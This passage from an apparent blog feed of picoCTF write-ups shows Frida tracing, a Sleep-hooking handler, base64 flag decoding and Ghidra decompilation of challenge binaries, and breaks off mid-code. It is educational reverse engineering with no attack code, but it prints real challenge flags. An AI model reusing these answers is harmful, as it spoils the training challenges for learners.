CreateFileA: Loaded handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation2\__handlers__\KERNELBASE.dll\CreateFileA.js&quot;
WriteFile: Loaded handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation2\__handlers__\KERNELBASE.dll\WriteFile.js&quot;
CreateFileA: Loaded handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation2\__handlers__\KERNEL32.DLL\CreateFileA.js&quot;
WriteFile: Loaded handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation2\__handlers__\KERNEL32.DLL\WriteFile.js&quot;
Started tracing 4 functions. Web UI available at http://localhost:49342/
           /* TID 0x1838 */
    20 ms  CreateFileA()
    20 ms     | CreateFileA - Original path: &quot;&lt;Insert path here&gt;&quot;
    20 ms     | CreateFileA - Replaced with: &quot;flag.txt&quot;
    20 ms  CreateFileA returned: 0x270
    20 ms  WriteFile()
    20 ms     | WriteFile called with handle: 0x270
    20 ms     | WriteFile buffer content:
    20 ms     |             0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
140002270  63 47 6c 6a 62 30 4e 55 52 6e 74 6d 63 6a 46 6b  cGljb0NURntmcjFk
140002280  59 56 39 6d 4d 48 4a 66 59 6a 46 75 58 32 6c 75  YV9mMHJfYjFuX2lu
140002290  4e 58 52 79 64 57 30 7a 62 6e 51 30 64 47 6c 76  NXRydW0zbnQ0dGlv
1400022a0  62 69 46 66 59 6a 49 78 59 57 56 6d 4d 7a 6c 39  biFfYjIxYWVmMzl9
1400022b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
1400022c0  40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00  @...............
1400022d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
1400022e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
1400022f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
140002300  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
140002310  00 00 00 00 00 00 00 00 00 30 00 40 01 00 00 00  .........0.@....
140002320  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
140002330  a0 21 00 40 01 00 00 00 b0 21 00 40 01 00 00 00  .!.@.....!.@....
140002340  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
140002350  00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
140002360  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    20 ms  WriteFile returned: 0x1
Process terminated</code></pre>
<p>Looks like it could be a flag encoded via base64, let's try and decode it:</p>
<pre><code>[marcial@arch ~/desktop/code/hexo]$ echo &quot;cGljb0NURntmcjFkYV9mMHJfYjFuX2luNXRydW0zbnQ0dGlvbiFfYjIxYWVmMzl9&quot; | base64 -d
picoCTF{fr1da_f0r_b1n_in5trum3nt4tion!_b21aef39}%</code></pre>
<p>flag: <code>cGljb0NURntmcjFkYV9mMHJfYjFuX2luNXRydW0zbnQ0dGlvbiFfYjIxYWVmMzl9" | base64 -d picoCTF{fr1da_f0r_b1n_in5trum3nt4tion!_b21aef39}%</code></p>]]></summary>
</entry>
<entry>
    <title>PicoCTF: Binary Instrumentation I</title>
    <link href="https://rivers.sh/posts/picoctf-binaryinstrumentation1/" />
    <id>https://rivers.sh/posts/picoctf-binaryinstrumentation1/</id>
    <published>2025-05-01T00:00:00Z</published>
    <updated>2025-05-01T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="challenge-info"><a href="#challenge-info" class="anchor">#</a>Challenge Info</h2>
<p>I have been learning to use the Windows API to do cool stuff! Can you wake up my program to get the flag?<br />
Download the exe <a href="https://challenge-files.picoctf.net/c_verbal_sleep/c71239e2890bd0008ff9c1da986438d276e7a96ba123cb3bc7b04d5a3de27fe7/bininst1.zip" target="_blank" rel="noopener">here</a>. Unzip the archive with the password <code>picoctf</code></p>
<p>This challenge is #1 of a 2 part series</p>
<p><a href="https://rivers.sh/posts/binaryinstrumentation2/" target="_blank" rel="noopener">Binary Instrumentation II</a></p>
<h2 id="basic-forensics--info"><a href="#basic-forensics--info" class="anchor">#</a>Basic forensics &amp; info</h2>
<p><code>File</code> command for basic info:</p>
<pre><code>C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1\bininst1&gt;file bininst1.exe
bininst1.exe: PE32+ executable (console) x86-64, for MS Windows

FLARE-VM Fri 05/02/2025 18:41:00.51</code></pre>
<p>Running the program:</p>
<pre><code>C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1\bininst1&gt;bininst1.exe
Hi, I have the flag for you just right here!
I&#39;ll just take a quick nap before I print it out for you, should only take me a decade or so!
zzzzzzzz....</code></pre>
<p>Knowing that the program is a Windows executable, and based off the output when running it, I assume we'll have to target the Windows API <code>Sleep</code> call using Frida, a dynamic instrumentation toolkit that will let us trace, monitor, and modify the behavior of applications. Specifically, we will use <code>frida-trace</code> to trace function calls (<code>Sleep</code>, in this case`):</p>
<pre><code>C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1&gt;frida-trace -i Sleep -f bininst1.exe
Instrumenting...
Sleep: Auto-generated handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1\__handlers__\KERNELBASE.dll\Sleep.js&quot;
Sleep: Auto-generated handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1\__handlers__\KERNEL32.DLL\Sleep.js&quot;
Started tracing 2 functions. Web UI available at http://localhost:50498/
Hi, I have the flag for you just right here!
I&#39;ll just take a quick nap before I print it out for you, should only take me a decade or so!
zzzzzzzz....
           /* TID 0x179c */
    31 ms  Sleep()
    31 ms     | Sleep()</code></pre>
<p>When we run frida-trace to instrument a function like Sleep, it automatically creates JavaScript handler files for each implementation of that function it finds. This is a powerful feature of Frida that allows us to not just observe, but also modify program behavior at runtime.<br />
In our case, Frida generated two handler files:</p>
<ul>
<li><code>\__handlers__\KERNELBASE.DLL\Sleep.js</code></li>
<li><code>\__handlers__\KERNEL32.DLL\Sleep.js</code></li>
</ul>
<p>For clarification, both <code>Sleep.js</code> files are the same. Frida generates two handlers because of how Windows API functions are implemented:</p>
<ol type="1">
<li><code>KERNEL32.DLL</code> is the higher-level library that applications typically link against</li>
<li><code>KERNELBASE.dll</code> is the lower-level implementation that KERNEL32.DLL often forwards calls to</li>
</ol>
<p>In most cases, the <code>Sleep</code> function in <code>KERNEL32.DLL</code> will just simply forward the call to <code>KERNELBASE.dll</code>. For this challenge, we <em>should</em> be able to modify either one because:</p>
<ul>
<li>If the program calls Sleep directly from KERNEL32.DLL, modifying that handler will work</li>
<li>If KERNEL32.DLL forwards to KERNELBASE.dll, modifying the KERNELBASE handler will work</li>
<li>If we modify both, we're covered either way</li>
</ul>
<p>So, for the sake of this challenge, I will be modifying the <code>KERNEL32.dll</code> one.</p>
<h3 id="kernel32dllsleepjs"><a href="#kernel32dllsleepjs" class="anchor">#</a>KERNEL32.DLL\Sleep.js</h3>
<p>The file for your convenience:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode js"><code class="sourceCode javascript"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="co">/*</span></span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a><span class="co"> * Auto-generated by Frida. Please modify to match the signature of Sleep.</span></span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a><span class="co"> * This stub is currently auto-generated from manpages when available.</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a><span class="co"> *</span></span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a><span class="co"> * For full API reference, see: https://frida.re/docs/javascript-api/</span></span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a><span class="co"> */</span></span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a><span class="fu">defineHandler</span>({</span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a>  <span class="fu">onEnter</span>(log<span class="op">,</span> args<span class="op">,</span> state) {</span>
<span id="cb4-10"><a href="#cb4-10" aria-hidden="true" tabindex="-1"></a>    <span class="fu">log</span>(<span class="st">&#39;Sleep()&#39;</span>)<span class="op">;</span></span>
<span id="cb4-11"><a href="#cb4-11" aria-hidden="true" tabindex="-1"></a>  }<span class="op">,</span></span>
<span id="cb4-12"><a href="#cb4-12" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb4-13"><a href="#cb4-13" aria-hidden="true" tabindex="-1"></a>  <span class="fu">onLeave</span>(log<span class="op">,</span> retval<span class="op">,</span> state) {</span>
<span id="cb4-14"><a href="#cb4-14" aria-hidden="true" tabindex="-1"></a>  }</span>
<span id="cb4-15"><a href="#cb4-15" aria-hidden="true" tabindex="-1"></a>})<span class="op">;</span></span></code></pre></div>
<ol type="1">
<li><p><code>defineHandler({ ... })</code> - This is a Frida function that registers a new handler for the targeted function (Sleep in this case).</p></li>
<li><p><code>onEnter(log, args, state)</code> - This callback function is executed right before the actual Sleep function is called:</p>
<ul>
<li><code>log</code> - A function you can use to print messages to the Frida console</li>
<li><code>args</code> - An array containing the function arguments (in this case, Sleep takes one argument for the sleep duration in milliseconds)</li>
<li><code>state</code> - An object where you can store data to share between onEnter and onLeave</li>
</ul></li>
<li><p><code>log('Sleep()')</code> - This simply logs "Sleep()" to the console when the function is called, but doesn't include any details about the arguments.</p></li>
<li><p><code>onLeave(log, retval, state)</code> - This callback is executed after the Sleep function returns:</p>
<ul>
<li><code>retval</code> - Contains the return value of the function (this is empty, so it actually doesn't even do anything when <code>Sleep</code> returns)</li>
</ul></li>
</ol>
<h2 id="solution"><a href="#solution" class="anchor">#</a>Solution</h2>
<p>To solve the challenge, we'd need to modify this file and change the <code>Sleep</code> duration argument. Ultimately, i decided to come up with a modification that not only replaces the sleep duration with 0, but also logs the original sleep duration, just for troubleshooting / analysis purposes:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode js"><code class="sourceCode javascript"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="fu">defineHandler</span>({</span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a>  <span class="fu">onEnter</span>(log<span class="op">,</span> args<span class="op">,</span> state) {</span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a>    <span class="co">// logs the original sleep duration</span></span>
<span id="cb5-4"><a href="#cb5-4" aria-hidden="true" tabindex="-1"></a>    <span class="fu">log</span>(<span class="vs">`Sleep(</span><span class="sc">${</span>args[<span class="dv">0</span>]<span class="sc">}</span><span class="vs">) - Original duration: </span><span class="sc">${</span>args[<span class="dv">0</span>]<span class="op">.</span><span class="fu">toInt32</span>()<span class="sc">}</span><span class="vs"> ms`</span>)<span class="op">;</span></span>
<span id="cb5-5"><a href="#cb5-5" aria-hidden="true" tabindex="-1"></a>    </span>
<span id="cb5-6"><a href="#cb5-6" aria-hidden="true" tabindex="-1"></a>    <span class="co">// replaces the sleep duration with 0</span></span>
<span id="cb5-7"><a href="#cb5-7" aria-hidden="true" tabindex="-1"></a>    args[<span class="dv">0</span>] <span class="op">=</span> <span class="fu">ptr</span>(<span class="st">&quot;0&quot;</span>)<span class="op">;</span></span>
<span id="cb5-8"><a href="#cb5-8" aria-hidden="true" tabindex="-1"></a>    </span>
<span id="cb5-9"><a href="#cb5-9" aria-hidden="true" tabindex="-1"></a>    <span class="fu">log</span>(<span class="st">&quot;Sleep duration changed to 0 ms&quot;</span>)<span class="op">;</span></span>
<span id="cb5-10"><a href="#cb5-10" aria-hidden="true" tabindex="-1"></a>  }<span class="op">,</span></span>
<span id="cb5-11"><a href="#cb5-11" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb5-12"><a href="#cb5-12" aria-hidden="true" tabindex="-1"></a>  <span class="fu">onLeave</span>(log<span class="op">,</span> retval<span class="op">,</span> state) {</span>
<span id="cb5-13"><a href="#cb5-13" aria-hidden="true" tabindex="-1"></a>    <span class="fu">log</span>(<span class="st">&quot;Sleep function completed&quot;</span>)<span class="op">;</span></span>
<span id="cb5-14"><a href="#cb5-14" aria-hidden="true" tabindex="-1"></a>  }</span>
<span id="cb5-15"><a href="#cb5-15" aria-hidden="true" tabindex="-1"></a>})<span class="op">;</span></span></code></pre></div>
<p>After modifying &amp; saving, we can re-run <code>frida-trace</code> and see if it works:</p>
<pre><code>PS C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1 &gt; frida-trace -i Sleep -f .\bininst1.exe
Instrumenting...
Sleep: Loaded handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1\__handlers__\KERNELBASE.dll\Sleep.js&quot;
Sleep: Loaded handler at &quot;C:\Users\river\Desktop\ctf\pico\BinaryInstrumentation1\__handlers__\KERNEL32.DLL\Sleep.js&quot;
Started tracing 2 functions. Web UI available at http://localhost:51063/
Hi, I have the flag for you just right here!
I&#39;ll just take a quick nap before I print it out for you, should only take me a decade or so!
zzzzzzzz....
Ok, I&#39;m Up! The flag is: cGljb0NURnt3NGtlX20zX3VwX3cxdGhfZnIxZGFfZjI3YWNjMzh9
           /* TID 0x106c */
    16 ms  Sleep()
    16 ms     | Sleep(0xfffffffe) - Original duration: -2 ms
    16 ms     | Sleep duration changed to 0 ms
    16 ms  Sleep function completed
    16 ms  Sleep()
    16 ms     | Sleep(0xfffffffe) - Original duration: -2 ms
    16 ms     | Sleep duration changed to 0 ms
    16 ms  Sleep function completed
...
Process terminated
FLARE-VM 05/02/2025 19:24:13</code></pre>
<blockquote>
<p>Interestingly, the original duration was -2ms, which would have taken forever</p>
</blockquote>
<p>The flag looks like it's encoded via base64, you can either put it through <a href="https://gchq.github.io/CyberChef/" target="_blank" rel="noopener">CyberChef</a> or decode it the cool way:</p>
<pre><code>[marcial@arch ~/desktop/cyber/pico/binaryinstrumentation1]$ echo &quot;cGljb0NURnt3NGtlX20zX3VwX3cxdGhfZnIxZGFfZjI3YWNjMzh9&quot; | base64 -d 
picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38}</code></pre>
<p>flag: <code>picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38}</code></p>]]></summary>
</entry>
<entry>
    <title>picoCTF: FactCheck</title>
    <link href="https://rivers.sh/posts/picoctf-factcheck/" />
    <id>https://rivers.sh/posts/picoctf-factcheck/</id>
    <published>2025-04-23T00:00:00Z</published>
    <updated>2025-04-23T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="challenge-info"><a href="#challenge-info" class="anchor">#</a>Challenge Info</h2>
<p>This binary is putting together some important piece of information... Can you uncover that information?<br />
Examine this <a href="https://artifacts.picoctf.net/c_titan/188/bin" target="_blank" rel="noopener">file</a>. Do you understand its inner workings?</p>
<h2 id="basic-forensics--info"><a href="#basic-forensics--info" class="anchor">#</a>Basic forensics &amp; info</h2>
<pre><code>[marcial@arch ~/desktop/cyber/pico/FactCheck]$ file bin                
bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ed9d01aa375e575eb2cd16506aa83d6951841f87, for GNU/Linux 3.2.0, not stripped</code></pre>
<p>Basic info, we see we're dealing with a non-stripped, 64-bit, linux executable.</p>
<p>Running <code>strings</code> and grepping for "flag" yields something interesting:</p>
<pre><code>[marcial@arch ~/desktop/cyber/pico/FactCheck]$ strings bin | grep &quot;pico&quot;
picoCTF{wELF_d0N3_mate_
[marcial@arch ~/desktop/cyber/pico/FactCheck]$</code></pre>
<p>Just like that, it looks like we have at least half our flag.</p>
<h2 id="examining-in-ghidra"><a href="#examining-in-ghidra" class="anchor">#</a>Examining in Ghidra</h2>
<p>After running "analyze all" in Ghidra, my go-to is to check the symbol tree, specifically for functions. I noticed a <code>FUN_00101020</code> function, which looked interesting, but didn't yield anything. After just clicking and glancing at all of them, the one that caught my eye was <code>main</code>:</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode c++"><code class="sourceCode cpp"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="co">/* </span><span class="al">WARNING</span><span class="co">: Removing unreachable block (ram,0x0010170c) */</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a>undefined8 main<span class="op">(</span><span class="dt">void</span><span class="op">)</span></span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a><span class="op">{</span></span>
<span id="cb3-6"><a href="#cb3-6" aria-hidden="true" tabindex="-1"></a>  <span class="dt">char</span> cVar1<span class="op">;</span></span>
<span id="cb3-7"><a href="#cb3-7" aria-hidden="true" tabindex="-1"></a>  <span class="dt">char</span> <span class="op">*</span>pcVar2<span class="op">;</span></span>
<span id="cb3-8"><a href="#cb3-8" aria-hidden="true" tabindex="-1"></a>  <span class="dt">long</span> in_FS_OFFSET<span class="op">;</span></span>
<span id="cb3-9"><a href="#cb3-9" aria-hidden="true" tabindex="-1"></a>  allocator local_249<span class="op">;</span></span>
<span id="cb3-10"><a href="#cb3-10" aria-hidden="true" tabindex="-1"></a>  string local_248 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-11"><a href="#cb3-11" aria-hidden="true" tabindex="-1"></a>  string local_228 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-12"><a href="#cb3-12" aria-hidden="true" tabindex="-1"></a>  string local_208 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-13"><a href="#cb3-13" aria-hidden="true" tabindex="-1"></a>  string local_1e8 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-14"><a href="#cb3-14" aria-hidden="true" tabindex="-1"></a>  string local_1c8 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-15"><a href="#cb3-15" aria-hidden="true" tabindex="-1"></a>  string local_1a8 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-16"><a href="#cb3-16" aria-hidden="true" tabindex="-1"></a>  string local_188 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-17"><a href="#cb3-17" aria-hidden="true" tabindex="-1"></a>  string local_168 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-18"><a href="#cb3-18" aria-hidden="true" tabindex="-1"></a>  string local_148 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-19"><a href="#cb3-19" aria-hidden="true" tabindex="-1"></a>  string local_128 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-20"><a href="#cb3-20" aria-hidden="true" tabindex="-1"></a>  string local_108 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-21"><a href="#cb3-21" aria-hidden="true" tabindex="-1"></a>  string local_e8 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-22"><a href="#cb3-22" aria-hidden="true" tabindex="-1"></a>  string local_c8 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-23"><a href="#cb3-23" aria-hidden="true" tabindex="-1"></a>  string local_a8 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-24"><a href="#cb3-24" aria-hidden="true" tabindex="-1"></a>  string local_88 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-25"><a href="#cb3-25" aria-hidden="true" tabindex="-1"></a>  string local_68 <span class="op">[</span><span class="dv">32</span><span class="op">];</span></span>
<span id="cb3-26"><a href="#cb3-26" aria-hidden="true" tabindex="-1"></a>  string local_48 <span class="op">[</span><span class="dv">40</span><span class="op">];</span></span>
<span id="cb3-27"><a href="#cb3-27" aria-hidden="true" tabindex="-1"></a>  <span class="dt">long</span> local_20<span class="op">;</span></span>
<span id="cb3-28"><a href="#cb3-28" aria-hidden="true" tabindex="-1"></a>  </span>
<span id="cb3-29"><a href="#cb3-29" aria-hidden="true" tabindex="-1"></a>  local_20 <span class="op">=</span> <span class="op">*(</span><span class="dt">long</span> <span class="op">*)(</span>in_FS_OFFSET <span class="op">+</span> <span class="bn">0x28</span><span class="op">);</span></span>
<span id="cb3-30"><a href="#cb3-30" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-31"><a href="#cb3-31" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 001012cf to 001012d3 has its CatchHandler @ 00101975 */</span></span>
<span id="cb3-32"><a href="#cb3-32" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_248<span class="op">,</span><span class="st">&quot;picoCTF{wELF_d0N3_mate_&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-33"><a href="#cb3-33" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-34"><a href="#cb3-34" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-35"><a href="#cb3-35" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 0010130a to 0010130e has its CatchHandler @ 00101996 */</span></span>
<span id="cb3-36"><a href="#cb3-36" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_228<span class="op">,</span><span class="st">&quot;7&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-37"><a href="#cb3-37" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-38"><a href="#cb3-38" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-39"><a href="#cb3-39" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101345 to 00101349 has its CatchHandler @ 001019b1 */</span></span>
<span id="cb3-40"><a href="#cb3-40" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_208<span class="op">,</span><span class="st">&quot;5&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-41"><a href="#cb3-41" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-42"><a href="#cb3-42" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-43"><a href="#cb3-43" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101380 to 00101384 has its CatchHandler @ 001019cc */</span></span>
<span id="cb3-44"><a href="#cb3-44" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_1e8<span class="op">,</span><span class="st">&quot;4&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-45"><a href="#cb3-45" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-46"><a href="#cb3-46" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-47"><a href="#cb3-47" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 001013bb to 001013bf has its CatchHandler @ 001019e7 */</span></span>
<span id="cb3-48"><a href="#cb3-48" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_1c8<span class="op">,</span><span class="st">&quot;3&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-49"><a href="#cb3-49" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-50"><a href="#cb3-50" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-51"><a href="#cb3-51" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 001013f6 to 001013fa has its CatchHandler @ 00101a02 */</span></span>
<span id="cb3-52"><a href="#cb3-52" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_1a8<span class="op">,</span><span class="st">&quot;6&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-53"><a href="#cb3-53" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-54"><a href="#cb3-54" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-55"><a href="#cb3-55" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 00101431 to 00101435 has its CatchHandler @ 00101a1d */</span></span>
<span id="cb3-56"><a href="#cb3-56" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_188<span class="op">,</span><span class="st">&quot;9&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-57"><a href="#cb3-57" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-58"><a href="#cb3-58" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-59"><a href="#cb3-59" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 0010146c to 00101470 has its CatchHandler @ 00101a38 */</span></span>
<span id="cb3-60"><a href="#cb3-60" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_168<span class="op">,</span><span class="st">&quot;a&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-61"><a href="#cb3-61" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-62"><a href="#cb3-62" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::</span>allocator<span class="op">();</span></span>
<span id="cb3-63"><a href="#cb3-63" aria-hidden="true" tabindex="-1"></a>                      <span class="co">/* try { // try from 001014a7 to 001014ab has its CatchHandler @ 00101a53 */</span></span>
<span id="cb3-64"><a href="#cb3-64" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>string::string<span class="op">(</span>local_148<span class="op">,</span><span class="st">&quot;e&quot;</span><span class="op">,&amp;</span>local_249<span class="op">);</span></span>
<span id="cb3-65"><a href="#cb3-65" aria-hidden="true" tabindex="-1"></a>  <span class="bu">std::</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;::~</span>allocator<span class="op">((</span>allocator<span class="op">&lt;</span><span class="dt">char</span><span class="op">&gt;</span> <span class="op">*)&amp;</span>local_249<span class="op">);</span></span>
